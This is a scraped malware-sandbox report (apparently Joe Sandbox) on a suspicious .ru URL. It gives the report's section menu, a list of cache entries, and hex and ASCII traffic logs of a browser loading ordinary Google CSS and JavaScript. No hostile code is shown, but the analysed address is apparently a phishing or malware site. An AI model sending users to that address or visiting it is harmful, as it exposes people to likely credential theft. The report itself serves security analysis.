2025-03-20 18:34:13 UTC	821	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gws-team" Report-To: {"group":"gws-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws-team"}]} Content-Length: 2672 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 20 Mar 2025 07:36:22 GMT Expires: Fri, 20 Mar 2026 07:36:22 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Thu, 20 Mar 2025 06:26:29 GMT Content-Type: text/css; charset=UTF-8 Vary: Accept-Encoding, Origin Age: 39471 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-20 18:34:13 UTC	399	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 43 4f 45 6d 59 3a 23 31 66 31 66 31 66 3b 2d 2d 78 68 55 47 77 63 3a 23 66 66 66 7d 3a 72 6f 6f 74 7b 2d 2d 76 5a 65 30 6a 62 3a 23 61 38 63 37 66 61 3b 2d 2d 6e 77 58 6f 62 62 3a 23 36 33 38 65 64 34 3b 2d 2d 56 75 5a 58 42 64 3a 23 30 30 31 64 33 35 3b 2d 2d 75 4c 7a 33 37 63 3a 23 35 34 35 64 37 65 3b 2d 2d 6a 49 4e 75 36 63 3a 23 30 30 31 64 33 35 3b 2d 2d 54 79 56 59 6c 64 3a 23 30 62 35 37 64 30 3b 2d 2d 5a 45 70 50 6d 64 3a 23 63 33 64 39 66 62 3b 2d 2d 51 57 61 61 61 66 3a 23 36 33 38 65 64 34 3b 2d 2d 44 45 65 53 74 66 3a 23 66 35 66 38 66 66 3b 2d 2d 54 53 57 5a 49 62 3a 23 65 35 65 64 66 66 3b 2d 2d 42 52 4c 77 45 3a 23 64 33 65 33 66 64 3b 2d 2d 67 53 35 6a 58 62 3a 23 64 61 64 63 65 30 3b 2d 2d 41 71 6e 37 78 64 3a 23 Data Ascii: :root{--COEmY:#1f1f1f;--xhUGwc:#fff}:root{--vZe0jb:#a8c7fa;--nwXobb:#638ed4;--VuZXBd:#001d35;--uLz37c:#545d7e;--jINu6c:#001d35;--TyVYld:#0b57d0;--ZEpPmd:#c3d9fb;--QWaaaf:#638ed4;--DEeStf:#f5f8ff;--TSWZIb:#e5edff;--BRLwE:#d3e3fd;--gS5jXb:#dadce0;--Aqn7xd:#
2025-03-20 18:34:13 UTC	1220	IN	Data Raw: 2d 6d 58 5a 6b 71 63 3a 23 64 32 64 32 64 32 3b 2d 2d 4e 73 6d 30 63 65 3a 23 30 62 35 37 64 30 3b 2d 2d 76 64 77 78 70 65 3a 23 61 38 63 37 66 61 3b 2d 2d 79 77 7a 30 31 63 3a 23 66 62 62 63 30 34 3b 2d 2d 58 4b 4d 44 78 63 3a 23 66 33 66 35 66 36 3b 2d 2d 61 59 6e 32 53 3a 23 66 33 66 35 66 36 3b 2d 2d 4c 6d 35 37 30 62 3a 23 64 65 65 31 65 33 7d 2e 7a 4a 55 75 71 66 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 41 42 34 57 66 66 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 70 78 7d 2e 76 30 72 72 76 64 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 7d 2e 77 48 59 6c 54 64 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 52 6f 62 6f 74 6f 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b Data Ascii: -mXZkqc:#d2d2d2;--Nsm0ce:#0b57d0;--vdwxpe:#a8c7fa;--ywz01c:#fbbc04;--XKMDxc:#f3f5f6;--aYn2S:#f3f5f6;--Lm570b:#dee1e3}.zJUuqf{margin-bottom:4px}.AB4Wff{margin-left:16px}.v0rrvd{padding-bottom:16px}.wHYlTd{font-family:Roboto,Arial,sans-serif;font-size:14px;
2025-03-20 18:34:13 UTC	1053	IN	Data Raw: 69 64 65 2d 63 6f 6e 74 65 6e 74 20 2e 33 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 30 2e 32 2c 31 29 20 62 6f 74 68 7d 2e 55 65 77 50 4d 64 20 2e 72 49 78 73 76 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 67 2d 73 6e 61 63 6b 62 61 72 2d 73 68 6f 77 2d 63 6f 6e 74 65 6e 74 20 2e 33 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 30 2e 32 2c 31 29 20 2e 31 35 73 20 62 6f 74 68 7d 2e 54 78 6e 67 6e 62 2e 54 78 6e 67 6e 62 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 7d 2e 54 78 6e 67 6e 62 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6c 65 78 3a 31 20 31 20 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 31 34 70 78 20 30 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 2e 73 48 46 4e 59 64 7b 6d 61 72 67 69 6e 2d Data Ascii: ide-content .35s cubic-bezier(0.4,0,0.2,1) both}.UewPMd .rIxsve{animation:g-snackbar-show-content .35s cubic-bezier(0.4,0,0.2,1) .15s both}.Txngnb.Txngnb{line-height:20px}.Txngnb{color:#fff;flex:1 1 auto;margin:14px 0;word-break:break-word}.sHFNYd{margin-

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://er.avunzocl.ru/hhtc/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Windows Analysis Report
https://er.avunzocl.ru/hhtc/

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:13 UTC	3870	OUT	GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=1/ed=1/dg=3/br=1/rs=ACT90oFgtGTLIu-tSSGYCTCEbsdpabFYhw/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DMzTfb:fNTHad;DULqB:RKfG5c;Dkk6ge:JZmW9e;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EjXHpb:pSHqh;EnlcNd:WeHg4;F9mqte:UoRcbe;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IoGlCf:b5lhvb;JXJSm:ii1RGf;JXS8fb:Qj0suc;JbMT3:M25sS;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LEikZe:byfTOb,lsjVmc;LXA8b:q7OdKd;LsNahb:ucGLNb;Me32dd:MEeYgc;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;OohIYe:mpEAQb;Pjplud:EEDORb,PoEs9b;PpTLXd:pJYjx;Q6C5kf:pfdZCe;QGR0gd:Mlhmy [TRUNCATED] Host: www.google.com Connection: keep-alive downlink: 0.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:14 UTC	831	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gws-team" Report-To: {"group":"gws-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws-team"}]} Content-Length: 1000853 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 20 Mar 2025 07:49:41 GMT Expires: Fri, 20 Mar 2026 07:49:41 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Thu, 20 Mar 2025 06:26:29 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding, Origin Age: 38673 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-20 18:34:14 UTC	389	IN	Data Raw: 74 68 69 73 2e 5f 68 64 3d 74 68 69 73 2e 5f 68 64 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 Data Ascii: this._hd=this._hd\|\|{};(function(_){var window=this;try{/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0// Copyright Google LLC SPDX-License-Identifier: Apache-2.0// Copyright 2024 Google, Inc SPDX-License-Id
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 20 74 68 61 74 20 63 61 6e 20 62 65 0a 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 20 61 74 20 68 74 74 70 73 3a 2f 2f 61 6e 67 75 6c 61 72 2e 64 65 76 2f 6c 69 63 65 6e 73 65 0a 2a 2f 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 62 61 61 2c 63 61 61 2c 67 61 61 2c 6c 61 61 2c 6e 61 61 2c 41 61 61 2c 43 61 61 2c 49 61 61 2c 52 61 61 2c 54 61 61 2c 58 61 61 2c 66 62 61 2c 68 62 61 2c 6a 62 61 2c 6b 62 61 2c Data Ascii: s governed by an MIT-style license that can be found in the LICENSE file at https://angular.dev/license// Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var baa,caa,gaa,laa,naa,Aaa,Caa,Iaa,Raa,Taa,Xaa,fba,hba,jba,kba,
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 61 2c 61 70 61 2c 24 6f 61 2c 58 6f 61 2c 62 70 61 2c 63 70 61 2c 6b 70 61 2c 6d 70 61 2c 6f 70 61 2c 6e 70 61 2c 70 70 61 2c 73 70 61 2c 74 70 61 2c 75 70 61 2c 76 70 61 2c 77 70 61 2c 79 70 61 2c 7a 70 61 2c 43 70 61 2c 47 70 61 2c 44 70 61 2c 48 70 61 2c 4b 70 61 2c 4c 70 61 2c 4d 70 61 2c 4e 70 61 2c 50 70 61 2c 51 70 61 2c 62 71 61 2c 56 70 61 2c 67 71 61 2c 6a 71 61 2c 6b 71 61 2c 70 71 61 2c 71 71 61 2c 72 71 61 2c 73 71 61 2c 74 71 61 2c 75 71 61 2c 78 71 61 2c 46 71 61 2c 49 71 61 2c 4a 71 61 2c 51 71 61 2c 52 71 61 2c 53 71 61 2c 54 71 61 2c 55 71 61 2c 58 71 61 2c 59 71 61 2c 24 71 61 2c 62 72 61 2c 66 72 61 2c 69 72 61 2c 67 72 61 2c 6d 72 61 2c 75 72 61 2c 76 72 61 2c 77 72 61 2c 42 72 61 2c 45 72 61 2c 49 72 61 2c 4b 72 61 2c 4f 72 61 2c 50 Data Ascii: a,apa,$oa,Xoa,bpa,cpa,kpa,mpa,opa,npa,ppa,spa,tpa,upa,vpa,wpa,ypa,zpa,Cpa,Gpa,Dpa,Hpa,Kpa,Lpa,Mpa,Npa,Ppa,Qpa,bqa,Vpa,gqa,jqa,kqa,pqa,qqa,rqa,sqa,tqa,uqa,xqa,Fqa,Iqa,Jqa,Qqa,Rqa,Sqa,Tqa,Uqa,Xqa,Yqa,$qa,bra,fra,ira,gra,mra,ura,vra,wra,Bra,Era,Ira,Kra,Ora,P
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 33 2a 61 2e 6c 65 6e 67 74 68 29 2c 65 3d 30 3b 65 3c 61 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 63 68 61 72 43 6f 64 65 41 74 28 65 29 3b 69 66 28 66 3c 31 32 38 29 64 5b 63 2b 2b 5d 3d 66 3b 65 6c 73 65 7b 69 66 28 66 3c 32 30 34 38 29 64 5b 63 2b 2b 5d 3d 66 3e 3e 36 7c 31 39 32 3b 65 6c 73 65 7b 69 66 28 66 3e 3d 35 35 32 39 36 26 26 66 3c 3d 35 37 33 34 33 29 7b 69 66 28 66 3c 3d 35 36 33 31 39 26 26 65 3c 61 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 67 3d 61 2e 63 68 61 72 43 6f 64 65 41 74 28 2b 2b 65 29 3b 69 66 28 67 3e 3d 35 36 33 32 30 26 26 67 3c 3d 35 37 33 34 33 29 7b 66 3d 28 66 2d 35 35 32 39 36 29 2a 31 30 32 34 2b 67 2d 35 36 33 32 30 2b 36 35 35 33 36 3b 64 5b 63 2b 2b 5d 3d Data Ascii: ew Uint8Array(3a.length),e=0;e<a.length;e++){var f=a.charCodeAt(e);if(f<128)d[c++]=f;else{if(f<2048)d[c++]=f>>6\|192;else{if(f>=55296&&f<=57343){if(f<=56319&&e<a.length){var g=a.charCodeAt(++e);if(g>=56320&&g<=57343){f=(f-55296)1024+g-56320+65536;d[c++]=
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 69 66 28 66 5b 30 5d 2e 6c 65 6e 67 74 68 3d 3d 30 26 26 67 5b 30 5d 2e 6c 65 6e 67 74 68 3d 3d 30 29 62 72 65 61 6b 3b 63 3d 6c 61 61 28 66 5b 31 5d 2e 6c 65 6e 67 74 68 3d 3d 30 3f 30 3a 70 61 72 73 65 49 6e 74 28 66 5b 31 5d 2c 31 30 29 2c 67 5b 31 5d 2e 6c 65 6e 67 74 68 3d 3d 30 3f 30 3a 70 61 72 73 65 49 6e 74 28 67 5b 31 5d 2c 31 30 29 29 7c 7c 6c 61 61 28 66 5b 32 5d 2e 6c 65 6e 67 74 68 3d 3d 30 2c 67 5b 32 5d 2e 6c 65 6e 67 74 68 3d 3d 30 29 7c 7c 6c 61 61 28 66 5b 32 5d 2c 67 5b 32 5d 29 3b 66 3d 66 5b 33 5d 3b 67 3d 67 5b 33 5d 7d 77 68 69 6c 65 28 63 3d 3d 30 29 7d 72 65 74 75 72 6e 20 63 7d 3b 0a 6c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3c 62 3f 2d 31 3a 61 3e 62 3f 31 3a 30 7d 3b 5f 2e 6f 61 3d 66 75 6e Data Ascii: if(f[0].length==0&&g[0].length==0)break;c=laa(f[1].length==0?0:parseInt(f[1],10),g[1].length==0?0:parseInt(g[1],10))\|\|laa(f[2].length==0,g[2].length==0)\|\|laa(f[2],g[2]);f=f[3];g=g[3]}while(c==0)}return c};laa=function(a,b){return a<b?-1:a>b?1:0};_.oa=fun
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 2e 73 61 28 22 41 6e 64 72 6f 69 64 22 29 29 7d 3b 5f 2e 74 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 71 61 61 28 29 3f 6e 61 61 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 5f 2e 73 61 28 22 43 68 72 6f 6d 65 22 29 7c 7c 5f 2e 73 61 28 22 43 72 69 4f 53 22 29 29 26 26 21 5f 2e 74 61 61 28 29 7c 7c 5f 2e 77 61 61 28 29 7d 3b 5f 2e 78 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 73 61 28 22 41 6e 64 72 6f 69 64 22 29 26 26 21 28 5f 2e 74 61 28 29 7c 7c 5f 2e 76 61 61 28 29 7c 7c 5f 2e 72 61 61 28 29 7c 7c 5f 2e 77 61 61 28 29 29 7d 3b 5f 2e 77 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 73 61 28 22 53 69 6c 6b 22 29 7d 3b 0a 5f 2e 79 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 Data Ascii: .sa("Android"))};_.ta=function(){return _.qaa()?naa("Chromium"):(_.sa("Chrome")\|\|_.sa("CriOS"))&&!_.taa()\|\|_.waa()};_.xaa=function(){return _.sa("Android")&&!(_.ta()\|\|_.vaa()\|\|_.raa()\|\|_.waa())};_.waa=function(){return _.sa("Silk")};_.yaa=function(a){var
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 69 6f 6e 28 61 29 7b 69 66 28 5f 2e 71 61 61 28 29 26 26 61 21 3d 3d 22 53 69 6c 6b 22 29 7b 76 61 72 20 62 3d 5f 2e 72 61 2e 62 72 61 6e 64 73 2e 66 69 6e 64 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 2e 62 72 61 6e 64 3d 3d 3d 61 7d 29 3b 69 66 28 21 62 7c 7c 21 62 2e 76 65 72 73 69 6f 6e 29 72 65 74 75 72 6e 20 4e 61 4e 3b 62 3d 62 2e 76 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 22 2e 22 29 7d 65 6c 73 65 7b 62 3d 41 61 61 28 61 29 3b 69 66 28 62 3d 3d 3d 22 22 29 72 65 74 75 72 6e 20 4e 61 4e 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 7d 72 65 74 75 72 6e 20 62 2e 6c 65 6e 67 74 68 3d 3d 3d 30 3f 4e 61 4e 3a 4e 75 6d 62 65 72 28 62 5b 30 5d 29 7d 3b 43 61 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 2e 6d 61 61 3f Data Ascii: ion(a){if(_.qaa()&&a!=="Silk"){var b=_.ra.brands.find(function(c){return c.brand===a});if(!b\|\|!b.version)return NaN;b=b.version.split(".")}else{b=Aaa(a);if(b==="")return NaN;b=b.split(".")}return b.length===0?NaN:Number(b[0])};Caa=function(){return _.maa?
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 69 36 38 36 7c 78 38 36 5f 36 34 29 5c 73 2b 28 5b 30 2d 39 2e 5d 2b 29 29 2f 2c 62 3d 28 61 3d 62 2e 65 78 65 63 28 61 29 29 26 26 61 5b 31 5d 29 3b 72 65 74 75 72 6e 20 62 7c 7c 22 22 7d 3b 0a 5f 2e 4b 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 6d 61 28 5f 2e 4a 61 61 28 29 2c 61 29 3e 3d 30 7d 3b 5f 2e 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7d 3b 5f 2e 41 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 65 3d 61 2e 6c 65 6e 67 74 68 2d 31 3b 65 3e 3d 30 3b 2d 2d 65 29 65 20 69 6e 20 64 26 26 62 2e 63 61 6c 6c 28 63 2c 64 5b Data Ascii: i686\|x86_64)\s+([0-9.]+))/,b=(a=b.exec(a))&&a[1]);return b\|\|""};_.Kaa=function(a){return _.ma(_.Jaa(),a)>=0};_.za=function(a){return a[a.length-1]};_.Aa=function(a,b,c){for(var d=typeof a==="string"?a.split(""):a,e=a.length-1;e>=0;--e)e in d&&b.call(c,d[
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 28 76 61 72 20 63 3d 41 72 72 61 79 28 62 29 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 5d 3d 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 5f 2e 4b 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 31 3b 63 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 69 66 28 5f 2e 4a 61 28 64 29 29 7b 76 61 72 20 65 3d 61 2e 6c 65 6e 67 74 68 7c 7c 30 2c 66 3d 64 2e 6c 65 6e 67 74 68 7c 7c 30 3b 61 2e 6c 65 6e 67 74 68 3d 65 2b 66 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 61 5b 65 2b 67 5d 3d 64 5b 67 5d 7d 65 6c 73 65 20 61 2e 70 75 73 68 28 64 29 7d 7d 3b 0a 5f 2e 4c 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: (var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.Ka=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Ja(d)){var e=a.length\|\|0,f=d.length\|\|0;a.length=e+f;for(var g=0;g<f;g++)a[e+g]=d[g]}else a.push(d)}};_.La=function(a,b
2025-03-20 18:34:14 UTC	1220	IN	Data Raw: 3d 64 7d 29 3b 72 65 74 75 72 6e 20 63 7d 3b 0a 5f 2e 52 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 5b 5d 2c 65 3d 30 2c 66 3d 61 3b 63 3d 63 7c 7c 31 3b 62 21 3d 3d 76 6f 69 64 20 30 26 26 28 65 3d 61 2c 66 3d 62 29 3b 69 66 28 63 2a 28 66 2d 65 29 3c 30 29 72 65 74 75 72 6e 5b 5d 3b 69 66 28 63 3e 30 29 66 6f 72 28 61 3d 65 3b 61 3c 66 3b 61 2b 3d 63 29 64 2e 70 75 73 68 28 61 29 3b 65 6c 73 65 20 66 6f 72 28 61 3d 65 3b 61 3e 66 3b 61 2b 3d 63 29 64 2e 70 75 73 68 28 61 29 3b 72 65 74 75 72 6e 20 64 7d 3b 5f 2e 5a 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 5d 3d 61 3b 72 65 74 75 72 6e 20 63 7d 3b 5f 2e 24 61 61 3d 66 75 6e 63 74 69 Data Ascii: =d});return c};_.Ra=function(a,b,c){var d=[],e=0,f=a;c=c\|\|1;b!==void 0&&(e=a,f=b);if(c*(f-e)<0)return[];if(c>0)for(a=e;a<f;a+=c)d.push(a);else for(a=e;a>f;a+=c)d.push(a);return d};_.Zaa=function(a,b){for(var c=[],d=0;d<b;d++)c[d]=a;return c};_.$aa=functi

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	1479	OUT	GET /logos/doodles/2025/mens-college-basketball-tournament-first-round-2025-6753651837110662.2-6752733080620936-cst.gif HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 0.4 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; 